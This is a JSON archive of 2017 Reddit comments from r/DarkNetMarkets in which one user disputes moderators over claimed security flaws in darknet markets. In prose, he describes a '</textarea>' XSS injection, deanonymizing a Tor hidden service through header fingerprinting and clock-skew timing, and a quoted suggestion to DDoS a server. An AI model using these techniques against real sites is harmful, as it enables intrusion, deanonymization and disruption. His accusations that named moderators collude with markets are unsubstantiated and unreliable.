into oblivion - but which have a mod **incorrectly post that the claims are false**\n\nPost all the modmails - you look awesome in them.",
2861 "created_utc": 1501703512,
2862 "edited": 1501704288,
2863 "id": "dl2qo1u",
2864 "link_id": "t3_6r5o1s",
2865 "parent_id": "t1_dl2pmyi",
2866 "retrieved_on": 1501707795,
2867 "score": 4,
2868 "stickied": false,
2869 "subreddit": "DarkNetMarkets",
2870 "subreddit_id": "t5_2yt0h"
2871 },
2872 {
2873 "author": "t0mcheck",
2874 "author_flair_css_class": null,
2875 "author_flair_text": null,
2876 "body": "Delete ur account.",
2877 "created_utc": 1501703443,
2878 "id": "dl2qln6",
2879 "link_id": "t3_6r5o1s",
2880 "parent_id": "t1_dl2mzhi",
2881 "retrieved_on": 1501707746,
2882 "score": 2,
2883 "stickied": false,
2884 "subreddit": "DarkNetMarkets",
2885 "subreddit_id": "t5_2yt0h"
2886 },
2887 {
2888 "author": "t0mcheck",
2889 "author_flair_css_class": null,
2890 "author_flair_text": null,
2891 "body": "> ou then tell the mods, they then contact the market and verify the results and in the case of a reluctant owner they urge them to reconsider and tell them what will happen in the next step.\n\nI skipped the mod step because they cannot be trusted. I have since been proven correct by their actions.\n\nSince reporting these bugs I have been consistently trashed by the mods in private messages - with two mods outright refusing to acknowledge the significance of what i've reported and abusing me. \n\nNo security reporter in their right mind can view what has taken place in this sub and have any faith that the mods are going to behave rationally or objectively. \n\nWith the state of this sub being the way it is right now - security researchers such as myself have no other option than to post these issues publicly and let the chips fall where they may. \n\n> The way you've done it could have made countless users victims to malicious hackers or LE.\n\nIf you think LE only found out about such simple bugs in the past 24 hours then I have a bridge to sell you.\n\nIf this was some complex series of bugs that required a two or three step then i'd sit on it like fuck, but inserting `</textarea>` and then whatever HTML you want isn't exactly rocket science\n\nie. don't blame me - blame the markets that put this amateur shit out and then defend it with denials. \n\n> Nobody tells you to keep quiet about the matter. \n\nThat's *exactly* what the mod said - either bring the market down with your exploit or shut up. Think about how insane that is for a moment - a mod here exploiting the personal information of all mods and users of a market as his own personal bounty that he can offer up as an enticement to a researcher to prove something. It is insane an absurd\n\nI'll also point out that neither of these markets had formal security contacts, not formal bug bounties and one in particular didn't respond very well",
2892 "created_utc": 1501696325,
2893 "id": "dl2jdww",
2894 "link_id": "t3_6r2ppi",
2895 "parent_id": "t1_dl2itja",
2896 "retrieved_on": 1501702215,
2897 "score": 2,
2898 "stickied": false,
2899 "subreddit": "DarkNetMarkets",
2900 "subreddit_id": "t5_2yt0h"
2901 },
2902 {
2903 "author": "t0mcheck",
2904 "author_flair_css_class": null,
2905 "author_flair_text": null,
2906 "body": "Good time to do something about this. I've received 30+ messages in the past 48 hours from people expressing similar concerns, or supporting the view that something needs to be done.\n\nIt is a good time to get all of this out into the open and allow people to speak their mind without the threat of retribution.\n\nI'll kick it off once this all blows over with DHL starting with all the nonsense the mods have messages me since i've tried to report these bugs",
2907 "created_utc": 1501695718,
2908 "id": "dl2irl4",
2909 "link_id": "t3_6r5o1s",
2910 "parent_id": "t1_dl2il85",
2911 "retrieved_on": 1501701708,
2912 "score": 2,
2913 "stickied": false,
2914 "subreddit": "DarkNetMarkets",
2915 "subreddit_id": "t5_2yt0h"
2916 },
2917 {
2918 "author": "t0mcheck",
2919 "author_flair_css_class": null,
2920 "author_flair_text": null,
2921 "body": "is that name taken?\n\nasking for a friend",
2922 "created_utc": 1501695556,
2923 "id": "dl2ilo2",
2924 "link_id": "t3_6r31bo",
2925 "parent_id": "t1_dl2els5",
2926 "retrieved_on": 1501701584,
2927 "score": 2,
2928 "stickied": false,
2929 "subreddit": "DarkNetMarkets",
2930 "subreddit_id": "t5_2yt0h"
2931 },
2932 {
2933 "author": "t0mcheck",
2934 "author_flair_css_class": null,
2935 "author_flair_text": null,
2936 "body": "Yes completely agree - this is exactly what we need to create an environment that is both conducive to volunteers who conduct security tests and report them, and also offer rational and objective warnings to users that are grounded in evidence.\n\nIt isn't asking for much - but for some reason until this thread was asking for too much.\n\nWatching a mod post a completely inaccurate sticky thread waving the all clear for an insecure market and then spend 120 comments being nudged begrudgingly towards the truth but never admitting to it is a low point for this sub that should never be repeated again. ",
2937 "created_utc": 1501695290,
2938 "id": "dl2ic3y",
2939 "link_id": "t3_6r5o1s",
2940 "parent_id": "t1_dl2h7p8",
2941 "retrieved_on": 1501701385,
2942 "score": 4,
2943 "stickied": false,
2944 "subreddit": "DarkNetMarkets",
2945 "subreddit_id": "t5_2yt0h"
2946 },
2947 {
2948 "author": "t0mcheck",
2949 "author_flair_css_class": null,
2950 "author_flair_text": null,
2951 "body": "nope",
2952 "created_utc": 1501693496,
2953 "id": "dl2gjfk",
2954 "link_id": "t3_6r4xwg",
2955 "parent_id": "t3_6r4xwg",
2956 "retrieved_on": 1501699947,
2957 "score": 1,
2958 "stickied": false,
2959 "subreddit": "DarkNetMarkets",
2960 "subreddit_id": "t5_2yt0h"
2961 },
2962 {
2963 "author": "t0mcheck",
2964 "author_flair_css_class": null,
2965 "author_flair_text": null,
2966 "body": "it's going to be fun to watch you get bought down to earth from this power trip u on",
2967 "created_utc": 1501691683,
2968 "id": "dl2eqi7",
2969 "link_id": "t3_6r2ppi",
2970 "parent_id": "t1_dl2eohf",
2971 "retrieved_on": 1501698552,
2972 "score": 2,
2973 "stickied": false,
2974 "subreddit": "DarkNetMarkets",
2975 "subreddit_id": "t5_2yt0h"
2976 },
2977 {
2978 "author": "t0mcheck",
2979 "author_flair_css_class": null,
2980 "author_flair_text": null,
2981 "body": "u just mad mute ey lol",
2982 "created_utc": 1501691652,
2983 "id": "dl2epc2",
2984 "link_id": "t3_6r2ppi",
2985 "parent_id": "t1_dl2eohf",
2986 "retrieved_on": 1501698528,
2987 "score": 1,
2988 "stickied": false,
2989 "subreddit": "DarkNetMarkets",
2990 "subreddit_id": "t5_2yt0h"
2991 },
2992 {
2993 "author": "t0mcheck",
2994 "author_flair_css_class": null,
2995 "author_flair_text": null,
2996 "body": "and lol at downvoting and then replying\n\nu mad bro?\n\nno mute button in the comments ey?",
2997 "created_utc": 1501691588,
2998 "id": "dl2en31",
2999 "link_id": "t3_6r2ppi",
3000 "parent_id": "t1_dl2e8yr",
3001 "retrieved_on": 1501698481,
3002 "score": 3,
3003 "stickied": false,
3004 "subreddit": "DarkNetMarkets",
3005 "subreddit_id": "t5_2yt0h"
3006 },
3007 {
3008 "author": "t0mcheck",
3009 "author_flair_css_class": null,
3010 "author_flair_text": null,
3011 "body": "Not your personal army. \n\nThe onus on DHL is to shut down the site and return coins. How this shit is ever my responsobility is beyond me - you're just discouraging the next person from ever reporting anything \n\nIt's insane that the mods here endorse a black and white position of either keeping quiet or **destroying a market for good**\n\nthink about it bro - might hit you once ur sober ",
3012 "created_utc": 1501691547,
3013 "id": "dl2elnf",
3014 "link_id": "t3_6r2ppi",
3015 "parent_id": "t1_dl2e8yr",
3016 "retrieved_on": 1501698451,
3017 "score": 3,
3018 "stickied": false,
3019 "subreddit": "DarkNetMarkets",
3020 "subreddit_id": "t5_2yt0h"
3021 },
3022 {
3023 "author": "t0mcheck",
3024 "author_flair_css_class": null,
3025 "author_flair_text": null,
3026 "body": "Thanks. The market admins and apologists are bad but i've spent more time arguing with the mods here.\n\nEven as of a few minutes ago they're still messaging me and telling me that the exploits i've posted haven't been validated, some examples:\n\nfrom /u/wombat2combat\n\n> with all the other bs you are spewing I doubt that all your 'findings' are true. maybe you should have told the mods about them before making it public so we can verify them.\n\nfrom /u/CrushOnJenny\n\n> The smart people knew you were full of shit yesterday. All talk no action. Again use the exploit or fuck right off. You are a joke. Teenagers love you however. Or idiots that think they know IT.\n\nthey'd off course never repeat this stuff publicly - because they know they'd be exposed as being the shills and clueless losers - but it is still interesting that the biggest pushback I get on this sub for doing penetration tests against certain markets is from the mods\n\nI've challenged them to remove my posts if they believe anything is inaccurate - off course they shut the fuck up at that point, but it doesn't stop them from perking up like the little ants they are. \n\n> also on a side note, the best way to see if they are the same server: DDoS it, see if the hidden service goes down with it...\n\nwe're on that path and a couple of steps ahead :) we just stopped sharing on the sub here since obvious shills giving obvious heads up to obvious admins are obvious :)",
3027 "created_utc": 1501690660,
3028 "id": "dl2dq0t",
3029 "link_id": "t3_6r2ppi",
3030 "parent_id": "t1_dl2cxom",
3031 "retrieved_on": 1501697756,
3032 "score": 0,
3033 "stickied": false,
3034 "subreddit": "DarkNetMarkets",
3035 "subreddit_id": "t5_2yt0h"
3036 },
3037 {
3038 "author": "t0mcheck",
3039 "author_flair_css_class": null,
3040 "author_flair_text": null,
3041 "body": "> For all I know wombat owns DHL and is hiding in a closet now\n\nIn all seriousness there is *something* going on here - its either grounded in the ignorance of genuinely believing that some of these markets are *better* - or it is collusion and corruption. \n\nEither way it isn't good - the marks against mod actions from the past few days and weeks are starting to add up and they don't paint a pretty picture.",
3042 "created_utc": 1501689715,
3043 "id": "dl2csjd",
3044 "link_id": "t3_6r2ppi",
3045 "parent_id": "t1_dl2civd",
3046 "retrieved_on": 1501696996,
3047 "score": 1,
3048 "stickied": false,
3049 "subreddit": "DarkNetMarkets",
3050 "subreddit_id": "t5_2yt0h"
3051 },
3052 {
3053 "author": "t0mcheck",
3054 "author_flair_css_class": null,
3055 "author_flair_text": null,
3056 "body": "Ye this situation is fucked up. Obvious mod shilling is obvious\n\nThat the top of this sub still says \"DHL IP address leak is fake\" is an embarrassment ",
3057 "created_utc": 1501688102,
3058 "id": "dl2b7lg",
3059 "link_id": "t3_6r1yh1",
3060 "parent_id": "t1_dl2a7ki",
3061 "retrieved_on": 1501695780,
3062 "score": 3,
3063 "stickied": false,
3064 "subreddit": "DarkNetMarkets",
3065 "subreddit_id": "t5_2yt0h"
3066 },
3067 {
3068 "author": "t0mcheck",
3069 "author_flair_css_class": null,
3070 "author_flair_text": null,
3071 "body": "> As best I can tell from an admittedly cursory glance, you and /u/wombat2combat are on the same team.\n\nWe definitely aren't - you should see the pm's and modmail - only 2 hours ago he was minimizing my contributions here and said that many of the vulnerabilities i've reported haven't been verified and don't amount to much (he wouldn't dare repeat this publicaly tho)\n\nI understand re: everyone else and appreciate the message - i'll try harder, just that the defensive posture is difficult to get rid of when you're arguing against market admins, apologists and mods at the same time :)",
3072 "created_utc": 1501687760,
3073 "id": "dl2avrk",
3074 "link_id": "t3_6r2ppi",
3075 "parent_id": "t1_dl2ajmd",
3076 "retrieved_on": 1501695518,
3077 "score": 5,
3078 "stickied": false,
3079 "subreddit": "DarkNetMarkets",
3080 "subreddit_id": "t5_2yt0h"
3081 },
3082 {
3083 "author": "t0mcheck",
3084 "author_flair_css_class": null,
3085 "author_flair_text": null,
3086 "body": "does /u/wombat2combat shill for this market as well or not? just want to know what we're getting into and if we should expect a \"DREAM 2FA ISSUE IS FAKE NEWS\" sticky on this sub in the next few moments or not",
3087 "created_utc": 1501687573,
3088 "id": "dl2ap8y",
3089 "link_id": "t3_6r415h",
3090 "parent_id": "t1_dl24fz5",
3091 "retrieved_on": 1501695336,
3092 "score": 3,
3093 "stickied": false,
3094 "subreddit": "DarkNetMarkets",
3095 "subreddit_id": "t5_2yt0h"
3096 },
3097 {
3098 "author": "t0mcheck",
3099 "author_flair_css_class": null,
3100 "author_flair_text": null,
3101 "body": "they're all shills and apologists to me. not knowing the internal org chart of DHL invalidates exactly fuck all",
3102 "created_utc": 1501687503,
3103 "id": "dl2amtm",
3104 "link_id": "t3_6r1yh1",
3105 "parent_id": "t1_dl2a1a3",
3106 "retrieved_on": 1501695277,
3107 "score": 1,
3108 "stickied": false,
3109 "subreddit": "DarkNetMarkets",
3110 "subreddit_id": "t5_2yt0h"
3111 },
3112 {
3113 "author": "t0mcheck",
3114 "author_flair_css_class": null,
3115 "author_flair_text": null,
3116 "body": "hadn't thought of that. hmmm.\n\nthey have yet to fix the bugs so they're working on *something* else. they haven't even taken down the clearnet sites.",
3117 "created_utc": 1501686677,
3118 "id": "dl29ucj",
3119 "link_id": "t3_6r31bo",
3120 "parent_id": "t1_dl26w1e",
3121 "retrieved_on": 1501694657,
3122 "score": 1,
3123 "stickied": false,
3124 "subreddit": "DarkNetMarkets",
3125 "subreddit_id": "t5_2yt0h"
3126 },
3127 {
3128 "author": "t0mcheck",
3129 "author_flair_css_class": null,
3130 "author_flair_text": null,
3131 "body": "75% of your total reddit contributions mention me\n\nI love it when I piss people off with the skillz dot exe\n\nand you're right that i'm a kid and clueless - all the more reason why these markets are fucked up\n\nXSS and auth bypass like its 1999 y'all!",
3132 "created_utc": 1501684152,
3133 "id": "dl27kjm",
3134 "link_id": "t3_6r43si",
3135 "parent_id": "t3_6r43si",
3136 "retrieved_on": 1501692838,
3137 "score": 9,
3138 "stickied": false,
3139 "subreddit": "DarkNetMarkets",
3140 "subreddit_id": "t5_2yt0h"
3141 },
3142 {
3143 "author": "t0mcheck",
3144 "author_flair_css_class": null,
3145 "author_flair_text": null,
3146 "body": "This is *nothing* - you should see the modmail and PM's\n\nTotal cluster fuck, this sub is.",
3147 "created_utc": 1501683904,
3148 "id": "dl27co0",
3149 "link_id": "t3_6r2ppi",
3150 "parent_id": "t1_dl23hpk",
3151 "retrieved_on": 1501692667,
3152 "score": 5,
3153 "stickied": false,
3154 "subreddit": "DarkNetMarkets",
3155 "subreddit_id": "t5_2yt0h"
3156 },
3157 {
3158 "author": "t0mcheck",
3159 "author_flair_css_class": null,
3160 "author_flair_text": null,
3161 "body": "not me - but judging by my PMs these last few days you don't exactly have many fans around here. ",
3162 "created_utc": 1501683830,
3163 "id": "dl27ado",
3164 "link_id": "t3_6r2ppi",
3165 "parent_id": "t1_dl23nx3",
3166 "retrieved_on": 1501692617,
3167 "score": 2,
3168 "stickied": false,
3169 "subreddit": "DarkNetMarkets",
3170 "subreddit_id": "t5_2yt0h"
3171 },
3172 {
3173 "author": "t0mcheck",
3174 "author_flair_css_class": null,
3175 "author_flair_text": null,
3176 "body": "So lets get this straight - you think they copied all the HTML but are then proxying all backend ops to the original DHL site - *except* for the login operation which they're using their own copy of the user table for?\n\nAnd they also replicated all the server headers perfectly and set the time to within ~10ms - and installed the same version of Debian, Apache and libraries etc. \n\nInteresting theory! the best case scenario here is *only* that the Hansa users and passwords have leaked - and as your title says - that is **fake**!\n\n> but for now I will just wait till dhl posts the announcement.\n\nAhh yes lets trust the non-conflicted market owner who has life in prison hanging over his head and not the verifyable information from independent infosec experts. \n\nI'll give you a preview of what their statement will say: DENY DENY DENY DENY DENY DENY DENY KHANKS WOMBAT2COMBAT\n\nbut you probably already know that since you're drafting it for them lol",
3177 "created_utc": 1501677353,
3178 "id": "dl22f1t",
3179 "link_id": "t3_6r2ppi",
3180 "parent_id": "t1_dl227oy",
3181 "retrieved_on": 1501688755,
3182 "score": 3,
3183 "stickied": false,
3184 "subreddit": "DarkNetMarkets",
3185 "subreddit_id": "t5_2yt0h"
3186 },
3187 {
3188 "author": "t0mcheck",
3189 "author_flair_css_class": null,
3190 "author_flair_text": null,
3191 "body": "Ok - so based on your mountain of expertise - which one is it?",
3192 "created_utc": 1501676933,
3193 "id": "dl225xz",
3194 "link_id": "t3_6r2ppi",
3195 "parent_id": "t1_dl2217x",
3196 "retrieved_on": 1501688564,
3197 "score": 3,
3198 "stickied": false,
3199 "subreddit": "DarkNetMarkets",
3200 "subreddit_id": "t5_2yt0h"
3201 },
3202 {
3203 "author": "t0mcheck",
3204 "author_flair_css_class": null,
3205 "author_flair_text": null,
3206 "body": "> if you saw some dnm phishing sites you know that they exactly look the same as the real sites. but they do not have the source code of the real site. and they do not need it for a replica.\n\nOk so which theory are you going with - is this site proxying back to the real DHL or is it hosting a full copy with the source code?\n\nTell me which one you think it is. ",
3207 "created_utc": 1501676525,
3208 "id": "dl21x4i",
3209 "link_id": "t3_6r2ppi",
3210 "parent_id": "t1_dl21uvy",
3211 "retrieved_on": 1501688372,
3212 "score": 2,
3213 "stickied": false,
3214 "subreddit": "DarkNetMarkets",
3215 "subreddit_id": "t5_2yt0h"
3216 },
3217 {
3218 "author": "t0mcheck",
3219 "author_flair_css_class": null,
3220 "author_flair_text": null,
3221 "body": "> you now need a copy of the entire market source code to set up a phishing site? today I learned.\n\nWait - you need to pick your argument. Either this is a proxying phishing site or it is a replica.\n\nPick one.\n\nI'm not giving you anything else because your only incentive right now is to cover your own ass and not get to the truth. I'm 95% confident that i'm correct and you are completely wrong - and all I need to do to prove it is wait - i've got enough down on the record.",
3222 "created_utc": 1501676022,
3223 "id": "dl21mds",
3224 "link_id": "t3_6r2ppi",
3225 "parent_id": "t1_dl21hsm",
3226 "retrieved_on": 1501688131,
3227 "score": 2,
3228 "stickied": false,
3229 "subreddit": "DarkNetMarkets",
3230 "subreddit_id": "t5_2yt0h"
3231 },
3232 {
3233 "author": "t0mcheck",
3234 "author_flair_css_class": null,
3235 "author_flair_text": null,
3236 "body": "> you said here that they are the same \n\nI don't understand your point .. they are \n\n> the clearnet server operator could just set his time to the one that the dhl hs uses [only the same second]\n\nSo let me get this straight - this \"clearnet operator\" has not only perfectly reproduced the HTTP response headers, the error beahvior of the servers, the complete server fingerprint and also somehow managed to sync his time perfectly but has *also* obtained a copy of the DHL user database and a copy of the source code and has setup a mirror - for reasons we don't know \n\nIs this really what you believe?\n\nI'll also note the absurdity of you being able to post any theory here and the onus is on us to *disprove* it - rather than there being any onus on you. Pathetic. ",
3237 "created_utc": 1501675087,
3238 "id": "dl213zk",
3239 "link_id": "t3_6r2ppi",
3240 "parent_id": "t1_dl20wvh",
3241 "retrieved_on": 1501687725,
3242 "score": 3,
3243 "stickied": false,
3244 "subreddit": "DarkNetMarkets",
3245 "subreddit_id": "t5_2yt0h"
3246 },
3247 {
3248 "author": "t0mcheck",
3249 "author_flair_css_class": null,
3250 "author_flair_text": null,
3251 "body": "> dunno, you proceeded to make countless comments on how the header fields are not changeable\n\nI didn't say they're not changable - I said they fingerprint match almost perfectly\n\nI said the time stamps are difficult / impossible to fake\n\nI also said it was the same server but different environments\n\nI ended up being right. Again.\n\nre: the timestamp stuff remove the request wait time - socket open to first receive \n\nHow much further do I have to hold your hand through this until it hits you what is actually going on here and you remove this post?",
3252 "created_utc": 1501674502,
3253 "id": "dl20sw4",
3254 "link_id": "t3_6r2ppi",
3255 "parent_id": "t1_dl20nbk",
3256 "retrieved_on": 1501687485,
3257 "score": 2,
3258 "stickied": false,
3259 "subreddit": "DarkNetMarkets",
3260 "subreddit_id": "t5_2yt0h"
3261 },
3262 {
3263 "author": "t0mcheck",
3264 "author_flair_css_class": null,
3265 "author_flair_text": null,
3266 "body": "The fact that the opposite message is being broadcast across the top of this sub right now - that DHL is fine and all the claims are FUD - is fucking absurd \n\nUsers at risk, etc. Only a matter of time before this server is picked up by LE considering the host they're using is very unlikely they're able to use the hosting company they are using and remain anonymous\n\nThis is exactly what i've been concerned about with the mods appeal to authority in this sub - it's just come to a crux because of how poorly DHL and the mods here have handled this entire situation but it had to happen",
3267 "created_utc": 1501673417,
3268 "id": "dl2099h",
3269 "link_id": "t3_6r2ppi",
3270 "parent_id": "t1_dl1yo2v",
3271 "retrieved_on": 1501687043,
3272 "score": 1,
3273 "stickied": false,
3274 "subreddit": "DarkNetMarkets",
3275 "subreddit_id": "t5_2yt0h"
3276 },
3277 {
3278 "author": "t0mcheck",
3279 "author_flair_css_class": null,
3280 "author_flair_text": null,
3281 "body": "> how is the fact that /u/cipherme did not prove and provide any indication that he is /u/cipher0007 an opinion?\n> \n\nbecause it makes no contribution towards establishing if the servers are the same - it is *irrelevant* to the hypothesis \n\n> I wanted to know a way how to get the server time in ms from two different servers and then prove that they are one and the same.\n\ntake enough samples and subtract the request time \n\n> I just checked both servers by sending two requests shortly after another and they returned the same timestamp plus minus one second [which is due to the time delay between my two requests].\n\nsubtract request + response time and enough samples gives you a standard deviation \n\nwhy are we having this discussion *after* you've already posted and stickied this thread to the top of the sub?\n\n",
3282 "created_utc": 1501673119,
3283 "id": "dl2041z",
3284 "link_id": "t3_6r2ppi",
3285 "parent_id": "t1_dl1zzx1",
3286 "retrieved_on": 1501686931,
3287 "score": 2,
3288 "stickied": false,
3289 "subreddit": "DarkNetMarkets",
3290 "subreddit_id": "t5_2yt0h"
3291 },
3292 {
3293 "author": "t0mcheck",
3294 "author_flair_css_class": null,
3295 "author_flair_text": null,
3296 "body": "> you claim that 'he has not proven that he is actually cipher0007' is untrue. please link me to the place where he has proven it.\n\n?!?!? I was quoting you ...\n\n> the chance that they have the same header fields mean nothing if the server operator of the clearnet server purposefully made it look like his server and the dhl hidden service are the same. as I explained earlier it is easily possible to do that\n\nExplain how he fakes the timestamps. The Tor project and Whonix *struggle* to pull this off using ntp. \n\nI've explained this in detail - it is difficult to sync time accurate to the ms across two servers.\n\n**It is difficult to do this using a complicated protocol designed for the task** let alone using HTTP.\n\nUsing 100+ requests I worked out that the times are within ms of each other\n\nExplain why logins match (exactly as I hypothezied first - a separate environment) \n\nExplain why PGP keys match.\n\nExplain why the admin interface to DHL is on that server.\n\nIt is clear now what we are dealing with - either a **breach of DHL that has stolen the database and somehow perfectly replicated the server for reasons unknown** or we have the DHL server\n\nPick one - there is no third option, and the entire premise of this post is bunk.",
3297 "created_utc": 1501672122,
3298 "id": "dl1znrr",
3299 "link_id": "t3_6r2ppi",
3300 "parent_id": "t1_dl1zfku",
3301 "retrieved_on": 1501686575,
3302 "score": 3,
3303 "stickied": false,
3304 "subreddit": "DarkNetMarkets",
3305 "subreddit_id": "t5_2yt0h"
3306 },
3307 {
3308 "author": "t0mcheck",
3309 "author_flair_css_class": null,
3310 "author_flair_text": null,
3311 "body": "thanks\n\nthis entire episode is just facepalm.jpg ",
3312 "created_utc": 1501671076,
3313 "id": "dl1z7aw",
3314 "link_id": "t3_6r2ppi",
3315 "parent_id": "t1_dl1z17k",
3316 "retrieved_on": 1501686177,
3317 "score": 1,
3318 "stickied": false,
3319 "subreddit": "DarkNetMarkets",
3320 "subreddit_id": "t5_2yt0h"
3321 },
3322 {
3323 "author": "t0mcheck",
3324 "author_flair_css_class": null,
3325 "author_flair_text": null,
3326 "body": "how about you start with **backing up your claims**?\n\nisn't that how it is supposed to work? the entire basis of your argument is **opinion**\n\nmeanwhile i've written a [fucking research paper](https://pay.reddit.com/r/DarkNetMarkets/comments/6r2ppi/dhl_ipaddress_leak_is_fake/dl1yqxa/) describing all the ways your wrong while your counter argument is sticking your fingers into your ears and wanting it to be incorrect",
3327 "created_utc": 1501670226,
3328 "id": "dl1yui8",
3329 "link_id": "t3_6r2ppi",
3330 "parent_id": "t1_dl1y23y",
3331 "retrieved_on": 1501685886,
3332 "score": 2,
3333 "stickied": false,
3334 "subreddit": "DarkNetMarkets",
3335 "subreddit_id": "t5_2yt0h"
3336 },
3337 {
3338 "author": "t0mcheck",
3339 "author_flair_css_class": null,
3340 "author_flair_text": null,
3341 "body": "> are common? a lot of servers use gzip, the content type is also not special, . . .\n\ni'm going to cringe at this forever. \n\nI shouldn't have to do this - I shouldn't have to be giving a mod a college level lesson in math, statistics and infosec. You should have verified this **before** posting.\n\nThe beauty of the scientific method is that we can hypothesize, observe, test, verify and then **reproduce repeatably and independently**\n\nhere is the type of evidence that doesn't meet that criteria - [everything you said in support of the claim being untrue](https://pay.reddit.com/r/DarkNetMarkets/comments/6r2ppi/dhl_ipaddress_leak_is_fake/dl1wldv/?context=3):\n\n* he has not proven that he is actually cipher0007\n* if dhl had the leak for some time it would have most likely be discovered way earlier\n* the website under the ip addresses provide no functionality, indicating that the throwaway claiming to be someone else is lying\n\n**none** of that meets any criteria in being able to reproduce or repeat your conclusion independently. It is **an opinion** and one founded in bias (which is the reason why we have the structured method)\n\n Now, on the other hand - is how we can construct **a repeatable, verifiable and independent hypothesis** to answer the question of the probability of these servers being equal\n\n1. First question - are they serving the same content? **Yes**\n1. Second question - do the servers behave the same and what is the probability, in a world of servers, that they are the same\n\nThis is where we break out - first by looking at the response headers (which you didn't even know about until I mentioned it)\n\nFirst starting point: there are 6.5 million live servers in the world (netcraft). To come up with a fingerprint probability we need to know **for each header or behavior** just how common this behavior is and then multiple all the results\n\nThe 6.5 million web servers represents 23 bits of information - so we need to get as close to that as possible\n\nwe can then calculate the number of unique *bits* each header represents by surveying it with shodan\n\nThese two headers, which you dismissed as being \"common\" are not as common as you think:\n\n Content-Encoding:gzip\n Content-Type:text/html; charset=UTF-8\n\nBut here is the slam dunk that gets us to 20+ bits very quickly, this header:\n\n Server:Apache/1.3.29 (Unix) mod_perl/1.29 PHP/4.4.1 mod_ssl/2.8.16 OpenSSL/0.9.7g\n\nThat header is only present in **seven** (7) servers total according to Shodan. What makes it unique is it is missing the mod_gzip header (even tho it is returning gzip)\n\nThat immediately brings our header survey to it being a 1 in *millions* likelihood of the servers being the same. The other big tell is the spacing between the header name and header content - *this is also unusually unique* and is unlikely to be the result of application level header output since *most of those format the header output with spacing*\n\nWithout even looking at the timestamp headers (which offer even more entropy) - we can already statistically conclude that there is a 1 in *millions* chance that this is the same server\n\nWhich brings us to the time headers \n\nHTTP headers can be faked **does not mean that all HTTP headers are fake**\n\nsome HTTP headers are harder to fake than others and time based headers are especially difficult. Synchronizing time is so difficult that there is an [entire protocol to synchronize it correctly](https://en.wikipedia.org/wiki/Network_Time_Protocol)\n\nTo read the time of this server and reproduce it you'd couldn't use NTP - you would need to parse it from the HTTP response - and there are two critical variables that *you cannot know* \n\nThe first is the time delay in milliseconds between when the server sampled the time and when you read it. The second is you cannot account for time sway\n\n**each server in the world has a unique level of time sway which alone can identify it** - this is described in the NTP protocol and is also described in **numerous research papers that use this technique to identify and uncover anonymous services**\n\nkeeping time in sync and hidden is a **Critical part of security projects where anonymity is required** - the longest wiki page on the Whonix wiki [describes these attacks](https://www.whonix.org/wiki/Time_Attacks) and [how to prevent them](https://www.whonix.org/wiki/Dev/TimeSync) (tip: its hard). Time and preventing the disclosure of time sway is also a **critical part of the Tor project** as [discussed here](https://tails.boum.org/contribute/design/Time_syncing/):\n\n> Tor sometimes freaks out if they detect too large clock skews. It is therefore important for us to ensure that Tails somehow automatically synchronizes the system time at start in a safe manner.\n\n> There probably is a whole bunch of fingerprinting attacks an attacker could mount if it could pose as the time server and mess with the user's time. \n\n**they have problems keeping the time sync anonymous using a dedicated protocol like NTP - the chances of being able to pull this off using HTTP are incredibly slim**\n\nHere is yet more evidence: If this was faked to look like the DHL server - then why didn't they fake **all the headers** - why do a half assed job of faking it?\n\nWe have yet to do a full time fingerprint but we have enough that the evidence **for** the case of the servers being the same are **much stronger** than the *opinion* that they aren't.\n\nWe can verify this further with more **evidence** but you've just shot your fucking load already and not asked **any of this** before posting\n\nnext steps to test and further verify our hypothesis:\n\n1. response times\n1. server behavior to request headers \n1. cache fingerprinting (already done part of this)\n1. running httprint and other tools against both targets",
3342 "created_utc": 1501669983,
3343 "edited": 1501670455,
3344 "id": "dl1yqxa",
3345 "link_id": "t3_6r2ppi",
3346 "parent_id": "t1_dl1xnls",
3347 "retrieved_on": 1501685808,
3348 "score": 3,
3349 "stickied": false,
3350 "subreddit": "DarkNetMarkets",
3351 "subreddit_id": "t5_2yt0h"
3352 },
3353 {
3354 "author": "t0mcheck",
3355 "author_flair_css_class": null,
3356 "author_flair_text": null,
3357 "body": "you can't just dismiss headers - **the entropy is taken in sum**\n\n**you don't understand the basics of fingerprinting or what you're arguing here**",
3358 "created_utc": 1501667288,
3359 "id": "dl1xpog",
3360 "link_id": "t3_6r2ppi",
3361 "parent_id": "t1_dl1xnls",
3362 "retrieved_on": 1501684953,
3363 "score": 2,
3364 "stickied": false,
3365 "subreddit": "DarkNetMarkets",
3366 "subreddit_id": "t5_2yt0h"
3367 },
3368 {
3369 "author": "t0mcheck",
3370 "author_flair_css_class": null,
3371 "author_flair_text": null,
3372 "body": "Off course he is wrong - but this isn't about being right or wrong, it's about the profit motive of having one market favored over another and the mods support of that\n\nThere is *overwhelming* evidence now that there is a clear bias here from one of the mods towards certain markets\n\nwe can run through as much technical info as we want and it wouldn't matter - it's just deny deny deny just like DHL with the first set of issues (except this time they have wombat2combat working for them as well)\n\nthis is real next-level parallel universe level shit where you can straight up deny **facts** with not just a straight face - but with mod authority",
3373 "created_utc": 1501667239,
3374 "id": "dl1xp03",
3375 "link_id": "t3_6r2ppi",
3376 "parent_id": "t1_dl1xhfp",
3377 "retrieved_on": 1501684937,
3378 "score": 3,
3379 "stickied": false,
3380 "subreddit": "DarkNetMarkets",
3381 "subreddit_id": "t5_2yt0h"
3382 },
3383 {
3384 "author": "t0mcheck",
3385 "author_flair_css_class": null,
3386 "author_flair_text": null,
3387 "body": "Thats not an argument - you're setting the terms to suit yourself again\n\n*off course* all those headers can be modified **but the probability of two servers matching with that much entropy is extremely low**\n\nthe fact that you won't even address this - while lending credence to arguments such as \"surely DHL would have noticed this earlier\" (lol) is **exactly** why you aren't qualified to make these decisions or to make these posts\n\n**please** step the fuck away and at least present this argument for what it is \nthe fact that you've had to reply 30+ times in this thread with nonsense and not been able to let your theory stand on its own is exactly why the entire premise of this post is **flawed**",
3388 "created_utc": 1501666837,
3389 "id": "dl1xjms",
3390 "link_id": "t3_6r2ppi",
3391 "parent_id": "t1_dl1xhb4",
3392 "retrieved_on": 1501684820,
3393 "score": 6,
3394 "stickied": false,
3395 "subreddit": "DarkNetMarkets",
3396 "subreddit_id": "t5_2yt0h"
3397 },
3398 {
3399 "author": "t0mcheck",
3400 "author_flair_css_class": null,
3401 "author_flair_text": null,
3402 "body": "Since i'm in infosec I know that you can't talk in certainties (like yourself)\n\nWhat I do know is that the *probability of the combined entropy of the two servers not being the same is likely 1 in millions*\n\nwe can actually measure it - mathematically - and get a result. i'll just tell you now that i've never seen that result be close to near-certainty with **that much entropy matching** \n\nthis isn't just a \"good\" hit for DHL (which would be enough) it is a **strong** hit for being the same server",
